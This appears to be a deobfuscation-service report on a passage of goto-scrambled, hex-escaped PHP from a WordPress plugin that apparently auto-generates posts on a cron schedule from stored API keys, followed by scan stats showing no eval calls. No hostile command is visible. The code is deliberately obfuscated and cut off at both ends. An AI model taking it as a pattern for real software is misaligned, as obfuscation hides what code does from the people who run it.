$rowkey->title; $query = $rowkey->title; $urlslug = $rowkey->slug; $id_cat = $rowkey->category; $target_dt = $rowkey->target_uv; $sts_key = $rowkey->status; $post_type = $rowkey->post_type; $end_lang2 = $rowkey->end_lang; $link = $rowkey->link; } goto qVt4s; kRrvS: $dataArray = array("\x64\x6f\x66\154\141\x6d\x69\x6e\x67\x6f", "\142\154\141\x63\x6b\142\x65\x61\x72\144"); goto hwvA7; J5vif: $siteurl = (isset($_SERVER["\x48\x54\124\120\123"]) && $_SERVER["\x48\124\124\x50\123"] === "\157\x6e" ? "\x68\x74\164\160\163" : "\150\164\x74\160") . "\x3a\57\x2f" . $_SERVER["\x48\x54\x54\x50\137\x48\x4f\x53\x54"] . "\x2f"; goto KJuoh; qVt4s: if (preg_match("\57\136\x31\44\x2f", $sts_key)) { echo "\144\165\x70\x6c\151\x63\x61\164\145\x20\x70\x6f\x73\164"; die; die; } goto j46C_; dUd1b: $currurl = $protocol . $_SERVER["\110\124\124\120\137\110\x4f\x53\124"] . strtok($_SERVER["\x52\105\121\125\x45\x53\x54\x5f\125\x52\x49"], "\77"); goto xbyl3; yPIyP: define("\x44\x4f\x4e\x4f\x54\103\x41\x43\x48\x45\x50\101\107\105", true); goto bGmaw; xbyl3: header("\x43\x6f\156\x74\x65\x6e\164\55\124\171\160\145\72\x20\164\145\170\x74\57\x68\164\155\x6c\x3b\x20\x63\150\x61\x72\x73\145\164\75\165\x74\146\x2d\x38"); goto NCA6v; MeeWI: $rndkey = $wpdb->get_results("\x53\105\114\x45\x43\124\x20\x2a\x20\106\122\117\115\40{$db_api_keys}\40\x57\x48\105\122\x45\40\163\164\141\164\165\x73\x3d\x27\x30\47\x20\x41\x4e\104\x20\160\x6f\x73\x74\x5f\x74\x79\160\145\75\47\142\x6c\x61\143\x6b\x62\145\141\x72\144\47\40\117\x52\x44\x45\122\x20\102\x59\40\122\x41\116\104\50\x29\x20\114\111\115\x49\124\40\x31"); goto vrjyu; S2cD5: include_once plugin_dir_path(__FILE__) . "\x66\145\164\143\150\x5f\x61\x70\x69\x2e\x70\x68\160"; goto J5vif; NCA6v: foreach ($wpdb->get_results("\x53\x45\x4c\x45\103\x54\40\x2a\x20\x46\122\117\115\40{$db_api_settings}\40\x57\x48\105\x52\105\x20\151\144\40\x3d\40\47\61\47") as $key => $row) { $cron_status = $row->status_cron; $end_lang = $row->end_lang; $tot_lang = $row->tot_lang; $time_post = $row->time_post; $save_key = $row->char_key; $auto_key = $row->autosave_key; $word_post = $row->word_post; $competitors_key = $row->competitors_key; $posts_status = $row->post_status; } goto kRrvS; DbiFN: $nameWithoutExt = pathinfo($fileName, PATHINFO_FILENAME); goto LX1z1; hItKT: @ini_set("\155\141\x78\137\145\170\x65\x63\165\164\x69\x6f\156\137\164\151\x6d\x65", 3000); goto yPIyP; LX1z1: $startPos = strpos($nameWithoutExt, "\143\162\157\156\137") + 5; goto PYCMa; BmvQA: $db_api_settings = $wpdb->prefix . "\167\x70\137\141\160\151\137\x73\x65\164\x74\151\x6e\x67\163"; goto g6c1j; PYCMa: $idxCron = substr($nameWithoutExt, $startPos); goto udw0Z; g6c1j: $db_api_keys = $wpdb->prefix . "\x77\x70\137\141\160\x69\137\x6b\145\x79\x73"; goto S2cD5; udw0Z: $type = "\142\x6c\141\x63\153\x62\145\x61\162\144"; goto MeeWI; yT6ZK:

Function Calls

None

Variables

None

Stats

MD5 83c8e4d671806a4b6b0f49149c9d499b
Eval Count 0
Decode Time 53 ms